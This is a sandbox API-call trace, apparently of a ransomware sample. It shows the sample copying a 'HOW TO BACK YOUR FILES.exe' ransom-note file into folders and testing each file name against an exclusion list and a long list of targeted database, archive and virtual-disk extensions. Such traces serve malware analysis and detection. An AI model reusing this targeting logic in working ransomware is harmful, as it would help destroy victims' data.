	[0055.101] lstrlenW (lpString="Tegucigalpa") returned 11
	[0055.101] lstrlenW (lpString="Apollon865") returned 10
	[0055.101] lstrcmpiW (lpString1="egucigalpa", lpString2="Apollon865") returned 1
	[0055.101] lstrlenW (lpString=".dll") returned 4
	[0055.101] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Thule" | out: lpString1="Thule") returned="Thule"
	[0055.101] lstrlenW (lpString="Thule") returned 5
	[0055.101] lstrlenW (lpString="Apollon865") returned 10
	[0055.101] lstrlenW (lpString=".dll") returned 4
	[0055.101] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Thunder_Bay" | out: lpString1="Thunder_Bay") returned="Thunder_Bay"
	[0055.101] lstrlenW (lpString="Thunder_Bay") returned 11
	[0055.101] lstrlenW (lpString="Apollon865") returned 10
	[0055.102] lstrcmpiW (lpString1="hunder_Bay", lpString2="Apollon865") returned 1
	[0055.102] lstrlenW (lpString=".dll") returned 4
	[0055.102] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Tijuana" | out: lpString1="Tijuana") returned="Tijuana"
	[0055.102] lstrlenW (lpString="Tijuana") returned 7
	[0055.102] lstrlenW (lpString="Apollon865") returned 10
	[0055.102] lstrlenW (lpString=".dll") returned 4
	[0055.102] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Toronto" | out: lpString1="Toronto") returned="Toronto"
	[0055.102] lstrlenW (lpString="Toronto") returned 7
	[0055.102] lstrlenW (lpString="Apollon865") returned 10
	[0055.102] lstrlenW (lpString=".dll") returned 4
	[0055.102] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Tortola" | out: lpString1="Tortola") returned="Tortola"
	[0055.102] lstrlenW (lpString="Tortola") returned 7
	[0055.102] lstrlenW (lpString="Apollon865") returned 10
	[0055.102] lstrlenW (lpString=".dll") returned 4
	[0055.102] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Vancouver" | out: lpString1="Vancouver") returned="Vancouver"
	[0055.102] lstrlenW (lpString="Vancouver") returned 9
	[0055.102] lstrlenW (lpString="Apollon865") returned 10
	[0055.102] lstrlenW (lpString=".dll") returned 4
	[0055.102] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Whitehorse" | out: lpString1="Whitehorse") returned="Whitehorse"
	[0055.102] lstrlenW (lpString="Whitehorse") returned 10
	[0055.102] lstrlenW (lpString="Apollon865") returned 10
	[0055.102] lstrlenW (lpString=".dll") returned 4
	[0055.102] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Winnipeg" | out: lpString1="Winnipeg") returned="Winnipeg"
	[0055.102] lstrlenW (lpString="Winnipeg") returned 8
	[0055.102] lstrlenW (lpString="Apollon865") returned 10
	[0055.102] lstrlenW (lpString=".dll") returned 4
	[0055.103] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Yakutat" | out: lpString1="Yakutat") returned="Yakutat"
	[0055.103] lstrlenW (lpString="Yakutat") returned 7
	[0055.103] lstrlenW (lpString="Apollon865") returned 10
	[0055.103] lstrlenW (lpString=".dll") returned 4
	[0055.103] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Yellowknife" | out: lpString1="Yellowknife") returned="Yellowknife"
	[0055.103] lstrlenW (lpString="Yellowknife") returned 11
	[0055.103] lstrlenW (lpString="Apollon865") returned 10
	[0055.103] lstrcmpiW (lpString1="ellowknife", lpString2="Apollon865") returned 1
	[0055.103] lstrlenW (lpString=".dll") returned 4
	[0055.103] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota"
	[0055.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0055.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0055.103] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota") returned 60
	[0055.103] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota"
	[0055.103] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.103] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.108] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.108] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38eb6c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38eb6c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.109] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.109] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.109] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.109] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38eb6c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38eb6c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.109] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.109] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.109] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.109] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.109] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Beulah", cAlternateFileName="")) returned 1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="Apollon865.txt.exe") returned 1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2=".") returned 1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="..") returned 1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="windows") returned -1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="bootmgr") returned -1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="temp") returned -1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="pagefile.sys") returned -1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="boot") returned -1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="ids.txt") returned -1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="ntuser.dat") returned -1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="perflogs") returned -1
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2="MSBuild") returned -1
	[0055.109] lstrlenW (lpString="Beulah") returned 6
	[0055.109] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\*") returned 62
	[0055.109] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Beulah" | out: lpString1="Beulah") returned="Beulah"
	[0055.109] lstrlenW (lpString="Beulah") returned 6
	[0055.109] lstrlenW (lpString="Apollon865") returned 10
	[0055.109] lstrlenW (lpString=".dll") returned 4
	[0055.109] lstrcmpiW (lpString1="Beulah", lpString2=".dll") returned 1
	[0055.110] lstrlenW (lpString=".lnk") returned 4
	[0055.110] lstrcmpiW (lpString1="Beulah", lpString2=".lnk") returned 1
	[0055.110] lstrlenW (lpString=".ini") returned 4
	[0055.110] lstrcmpiW (lpString1="Beulah", lpString2=".ini") returned 1
	[0055.110] lstrlenW (lpString=".sys") returned 4
	[0055.110] lstrcmpiW (lpString1="Beulah", lpString2=".sys") returned 1
	[0055.110] lstrlenW (lpString="Beulah") returned 6
	[0055.110] lstrlenW (lpString="bak") returned 3
	[0055.110] lstrcmpiW (lpString1="lah", lpString2="bak") returned 1
	[0055.110] lstrlenW (lpString="ba_") returned 3
	[0055.110] lstrcmpiW (lpString1="lah", lpString2="ba_") returned 1
	[0055.110] lstrlenW (lpString="dbb") returned 3
	[0055.110] lstrcmpiW (lpString1="lah", lpString2="dbb") returned 1
	[0055.110] lstrlenW (lpString="vmdk") returned 4
	[0055.110] lstrcmpiW (lpString1="ulah", lpString2="vmdk") returned -1
	[0055.110] lstrlenW (lpString="rar") returned 3
	[0055.110] lstrcmpiW (lpString1="lah", lpString2="rar") returned -1
	[0055.110] lstrlenW (lpString="zip") returned 3
	[0055.110] lstrcmpiW (lpString1="lah", lpString2="zip") returned -1
	[0055.110] lstrlenW (lpString="tgz") returned 3
	[0055.110] lstrcmpiW (lpString1="lah", lpString2="tgz") returned -1
	[0055.110] lstrlenW (lpString="vbox") returned 4
	[0055.110] lstrcmpiW (lpString1="ulah", lpString2="vbox") returned -1
	[0055.110] lstrlenW (lpString="vdi") returned 3
	[0055.110] lstrcmpiW (lpString1="lah", lpString2="vdi") returned -1
	[0055.110] lstrlenW (lpString="vhd") returned 3
	[0055.110] lstrcmpiW (lpString1="lah", lpString2="vhd") returned -1
	[0055.110] lstrlenW (lpString="vhdx") returned 4
	[0055.110] lstrcmpiW (lpString1="ulah", lpString2="vhdx") returned -1
	[0055.110] lstrlenW (lpString="avhd") returned 4
	[0055.110] lstrcmpiW (lpString1="ulah", lpString2="avhd") returned 1
	[0055.110] lstrlenW (lpString="db") returned 2
	[0055.110] lstrcmpiW (lpString1="ah", lpString2="db") returned -1
	[0055.111] lstrlenW (lpString="db2") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="db2") returned 1
	[0055.111] lstrlenW (lpString="db3") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="db3") returned 1
	[0055.111] lstrlenW (lpString="dbf") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="dbf") returned 1
	[0055.111] lstrlenW (lpString="mdf") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="mdf") returned -1
	[0055.111] lstrlenW (lpString="mdb") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="mdb") returned -1
	[0055.111] lstrlenW (lpString="sql") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="sql") returned -1
	[0055.111] lstrlenW (lpString="sqlite") returned 6
	[0055.111] lstrlenW (lpString="sqlite3") returned 7
	[0055.111] lstrlenW (lpString="sqlitedb") returned 8
	[0055.111] lstrlenW (lpString="xml") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="xml") returned -1
	[0055.111] lstrlenW (lpString="$er") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="$er") returned 1
	[0055.111] lstrlenW (lpString="4dd") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="4dd") returned 1
	[0055.111] lstrlenW (lpString="4dl") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="4dl") returned 1
	[0055.111] lstrlenW (lpString="^^^") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="^^^") returned 1
	[0055.111] lstrlenW (lpString="abs") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="abs") returned 1
	[0055.111] lstrlenW (lpString="abx") returned 3
	[0055.111] lstrcmpiW (lpString1="lah", lpString2="abx") returned 1
	[0055.111] lstrlenW (lpString="accdb") returned 5
	[0055.111] lstrcmpiW (lpString1="eulah", lpString2="accdb") returned 1
	[0055.111] lstrlenW (lpString="accdc") returned 5
	[0055.111] lstrcmpiW (lpString1="eulah", lpString2="accdc") returned 1
	[0055.111] lstrlenW (lpString="accde") returned 5
	[0055.112] lstrcmpiW (lpString1="eulah", lpString2="accde") returned 1
	[0055.112] lstrlenW (lpString="accdr") returned 5
	[0055.112] lstrcmpiW (lpString1="eulah", lpString2="accdr") returned 1
	[0055.112] lstrlenW (lpString="accdt") returned 5
	[0055.112] lstrcmpiW (lpString1="eulah", lpString2="accdt") returned 1
	[0055.112] lstrlenW (lpString="accdw") returned 5
	[0055.112] lstrcmpiW (lpString1="eulah", lpString2="accdw") returned 1
	[0055.112] lstrlenW (lpString="accft") returned 5
	[0055.112] lstrcmpiW (lpString1="eulah", lpString2="accft") returned 1
	[0055.112] lstrlenW (lpString="adb") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="adb") returned 1
	[0055.112] lstrlenW (lpString="adb") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="adb") returned 1
	[0055.112] lstrlenW (lpString="ade") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="ade") returned 1
	[0055.112] lstrlenW (lpString="adf") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="adf") returned 1
	[0055.112] lstrlenW (lpString="adn") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="adn") returned 1
	[0055.112] lstrlenW (lpString="adp") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="adp") returned 1
	[0055.112] lstrlenW (lpString="alf") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="alf") returned 1
	[0055.112] lstrlenW (lpString="ask") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="ask") returned 1
	[0055.112] lstrlenW (lpString="btr") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="btr") returned 1
	[0055.112] lstrlenW (lpString="cat") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="cat") returned 1
	[0055.112] lstrlenW (lpString="cdb") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="cdb") returned 1
	[0055.112] lstrlenW (lpString="ckp") returned 3
	[0055.112] lstrcmpiW (lpString1="lah", lpString2="ckp") returned 1
	[0055.113] lstrlenW (lpString="cma") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="cma") returned 1
	[0055.113] lstrlenW (lpString="cpd") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="cpd") returned 1
	[0055.113] lstrlenW (lpString="dacpac") returned 6
	[0055.113] lstrlenW (lpString="dad") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dad") returned 1
	[0055.113] lstrlenW (lpString="dadiagrams") returned 10
	[0055.113] lstrlenW (lpString="daschema") returned 8
	[0055.113] lstrlenW (lpString="db-journal") returned 10
	[0055.113] lstrlenW (lpString="db-shm") returned 6
	[0055.113] lstrlenW (lpString="db-wal") returned 6
	[0055.113] lstrlenW (lpString="dbc") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dbc") returned 1
	[0055.113] lstrlenW (lpString="dbs") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dbs") returned 1
	[0055.113] lstrlenW (lpString="dbt") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dbt") returned 1
	[0055.113] lstrlenW (lpString="dbv") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dbv") returned 1
	[0055.113] lstrlenW (lpString="dbx") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dbx") returned 1
	[0055.113] lstrlenW (lpString="dcb") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dcb") returned 1
	[0055.113] lstrlenW (lpString="dct") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dct") returned 1
	[0055.113] lstrlenW (lpString="dcx") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dcx") returned 1
	[0055.113] lstrlenW (lpString="ddl") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="ddl") returned 1
	[0055.113] lstrlenW (lpString="dlis") returned 4
	[0055.113] lstrcmpiW (lpString1="ulah", lpString2="dlis") returned 1
	[0055.113] lstrlenW (lpString="dp1") returned 3
	[0055.113] lstrcmpiW (lpString1="lah", lpString2="dp1") returned 1
	[0055.114] lstrlenW (lpString="dqy") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="dqy") returned 1
	[0055.114] lstrlenW (lpString="dsk") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="dsk") returned 1
	[0055.114] lstrlenW (lpString="dsn") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="dsn") returned 1
	[0055.114] lstrlenW (lpString="dtsx") returned 4
	[0055.114] lstrcmpiW (lpString1="ulah", lpString2="dtsx") returned 1
	[0055.114] lstrlenW (lpString="dxl") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="dxl") returned 1
	[0055.114] lstrlenW (lpString="eco") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="eco") returned 1
	[0055.114] lstrlenW (lpString="ecx") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="ecx") returned 1
	[0055.114] lstrlenW (lpString="edb") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="edb") returned 1
	[0055.114] lstrlenW (lpString="epim") returned 4
	[0055.114] lstrcmpiW (lpString1="ulah", lpString2="epim") returned 1
	[0055.114] lstrlenW (lpString="fcd") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="fcd") returned 1
	[0055.114] lstrlenW (lpString="fdb") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="fdb") returned 1
	[0055.114] lstrlenW (lpString="fic") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="fic") returned 1
	[0055.114] lstrlenW (lpString="flexolibrary") returned 12
	[0055.114] lstrlenW (lpString="fm5") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="fm5") returned 1
	[0055.114] lstrlenW (lpString="fmp") returned 3
	[0055.114] lstrcmpiW (lpString1="lah", lpString2="fmp") returned 1
	[0055.114] lstrlenW (lpString="fmp12") returned 5
	[0055.114] lstrcmpiW (lpString1="eulah", lpString2="fmp12") returned -1
	[0055.114] lstrlenW (lpString="fmpsl") returned 5
	[0055.114] lstrcmpiW (lpString1="eulah", lpString2="fmpsl") returned -1
	[0055.115] lstrlenW (lpString="fol") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="fol") returned 1
	[0055.115] lstrlenW (lpString="fp3") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="fp3") returned 1
	[0055.115] lstrlenW (lpString="fp4") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="fp4") returned 1
	[0055.115] lstrlenW (lpString="fp5") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="fp5") returned 1
	[0055.115] lstrlenW (lpString="fp7") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="fp7") returned 1
	[0055.115] lstrlenW (lpString="fpt") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="fpt") returned 1
	[0055.115] lstrlenW (lpString="frm") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="frm") returned 1
	[0055.115] lstrlenW (lpString="gdb") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="gdb") returned 1
	[0055.115] lstrlenW (lpString="gdb") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="gdb") returned 1
	[0055.115] lstrlenW (lpString="grdb") returned 4
	[0055.115] lstrcmpiW (lpString1="ulah", lpString2="grdb") returned 1
	[0055.115] lstrlenW (lpString="gwi") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="gwi") returned 1
	[0055.115] lstrlenW (lpString="hdb") returned 3
	[0055.115] lstrcmpiW (lpString1="lah", lpString2="hdb") returned 1
	[0055.131] lstrlenW (lpString="his") returned 3
	[0055.131] lstrcmpiW (lpString1="lah", lpString2="his") returned 1
	[0055.131] lstrlenW (lpString="ib") returned 2
	[0055.131] lstrcmpiW (lpString1="ah", lpString2="ib") returned -1
	[0055.131] lstrlenW (lpString="idb") returned 3
	[0055.131] lstrcmpiW (lpString1="lah", lpString2="idb") returned 1
	[0055.131] lstrlenW (lpString="ihx") returned 3
	[0055.131] lstrcmpiW (lpString1="lah", lpString2="ihx") returned 1
	[0055.131] lstrlenW (lpString="itdb") returned 4
	[0055.131] lstrcmpiW (lpString1="ulah", lpString2="itdb") returned 1
	[0055.131] lstrlenW (lpString="itw") returned 3
	[0055.131] lstrcmpiW (lpString1="lah", lpString2="itw") returned 1
	[0055.131] lstrlenW (lpString="jet") returned 3
	[0055.131] lstrcmpiW (lpString1="lah", lpString2="jet") returned 1
	[0055.131] lstrlenW (lpString="jtx") returned 3
	[0055.131] lstrcmpiW (lpString1="lah", lpString2="jtx") returned 1
	[0055.131] lstrlenW (lpString="kdb") returned 3
	[0055.131] lstrcmpiW (lpString1="lah", lpString2="kdb") returned 1
	[0055.131] lstrlenW (lpString="kexi") returned 4
	[0055.132] lstrcmpiW (lpString1="ulah", lpString2="kexi") returned 1
	[0055.132] lstrlenW (lpString="kexic") returned 5
	[0055.132] lstrcmpiW (lpString1="eulah", lpString2="kexic") returned -1
	[0055.132] lstrlenW (lpString="kexis") returned 5
	[0055.132] lstrcmpiW (lpString1="eulah", lpString2="kexis") returned -1
	[0055.132] lstrlenW (lpString="lgc") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="lgc") returned -1
	[0055.132] lstrlenW (lpString="lwx") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="lwx") returned -1
	[0055.132] lstrlenW (lpString="maf") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="maf") returned -1
	[0055.132] lstrlenW (lpString="maq") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="maq") returned -1
	[0055.132] lstrlenW (lpString="mar") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="mar") returned -1
	[0055.132] lstrlenW (lpString="marshal") returned 7
	[0055.132] lstrlenW (lpString="mas") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="mas") returned -1
	[0055.132] lstrlenW (lpString="mav") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="mav") returned -1
	[0055.132] lstrlenW (lpString="maw") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="maw") returned -1
	[0055.132] lstrlenW (lpString="mdbhtml") returned 7
	[0055.132] lstrlenW (lpString="mdn") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="mdn") returned -1
	[0055.132] lstrlenW (lpString="mdt") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="mdt") returned -1
	[0055.132] lstrlenW (lpString="mfd") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="mfd") returned -1
	[0055.132] lstrlenW (lpString="mpd") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="mpd") returned -1
	[0055.132] lstrlenW (lpString="mrg") returned 3
	[0055.132] lstrcmpiW (lpString1="lah", lpString2="mrg") returned -1
	[0055.132] lstrlenW (lpString="mud") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="mud") returned -1
	[0055.133] lstrlenW (lpString="mwb") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="mwb") returned -1
	[0055.133] lstrlenW (lpString="myd") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="myd") returned -1
	[0055.133] lstrlenW (lpString="ndf") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="ndf") returned -1
	[0055.133] lstrlenW (lpString="nnt") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="nnt") returned -1
	[0055.133] lstrlenW (lpString="nrmlib") returned 6
	[0055.133] lstrlenW (lpString="ns2") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="ns2") returned -1
	[0055.133] lstrlenW (lpString="ns3") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="ns3") returned -1
	[0055.133] lstrlenW (lpString="ns4") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="ns4") returned -1
	[0055.133] lstrlenW (lpString="nsf") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="nsf") returned -1
	[0055.133] lstrlenW (lpString="nv") returned 2
	[0055.133] lstrcmpiW (lpString1="ah", lpString2="nv") returned -1
	[0055.133] lstrlenW (lpString="nv2") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="nv2") returned -1
	[0055.133] lstrlenW (lpString="nwdb") returned 4
	[0055.133] lstrcmpiW (lpString1="ulah", lpString2="nwdb") returned 1
	[0055.133] lstrlenW (lpString="nyf") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="nyf") returned -1
	[0055.133] lstrlenW (lpString="odb") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="odb") returned -1
	[0055.133] lstrlenW (lpString="odb") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="odb") returned -1
	[0055.133] lstrlenW (lpString="oqy") returned 3
	[0055.133] lstrcmpiW (lpString1="lah", lpString2="oqy") returned -1
	[0055.133] lstrlenW (lpString="ora") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="ora") returned -1
	[0055.134] lstrlenW (lpString="orx") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="orx") returned -1
	[0055.134] lstrlenW (lpString="owc") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="owc") returned -1
	[0055.134] lstrlenW (lpString="p96") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="p96") returned -1
	[0055.134] lstrlenW (lpString="p97") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="p97") returned -1
	[0055.134] lstrlenW (lpString="pan") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="pan") returned -1
	[0055.134] lstrlenW (lpString="pdb") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="pdb") returned -1
	[0055.134] lstrlenW (lpString="pdm") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="pdm") returned -1
	[0055.134] lstrlenW (lpString="pnz") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="pnz") returned -1
	[0055.134] lstrlenW (lpString="qry") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="qry") returned -1
	[0055.134] lstrlenW (lpString="qvd") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="qvd") returned -1
	[0055.134] lstrlenW (lpString="rbf") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="rbf") returned -1
	[0055.134] lstrlenW (lpString="rctd") returned 4
	[0055.134] lstrcmpiW (lpString1="ulah", lpString2="rctd") returned 1
	[0055.134] lstrlenW (lpString="rod") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="rod") returned -1
	[0055.134] lstrlenW (lpString="rodx") returned 4
	[0055.134] lstrcmpiW (lpString1="ulah", lpString2="rodx") returned 1
	[0055.134] lstrlenW (lpString="rpd") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="rpd") returned -1
	[0055.134] lstrlenW (lpString="rsd") returned 3
	[0055.134] lstrcmpiW (lpString1="lah", lpString2="rsd") returned -1
	[0055.135] lstrlenW (lpString="sas7bdat") returned 8
	[0055.135] lstrlenW (lpString="sbf") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="sbf") returned -1
	[0055.135] lstrlenW (lpString="scx") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="scx") returned -1
	[0055.135] lstrlenW (lpString="sdb") returned 3
	[0055.135] lstrcmpiW (lpString1="lah", lpString2="sdb") returned -1
	[0055.135] lstrlenW (lpString="sdc") returned 3
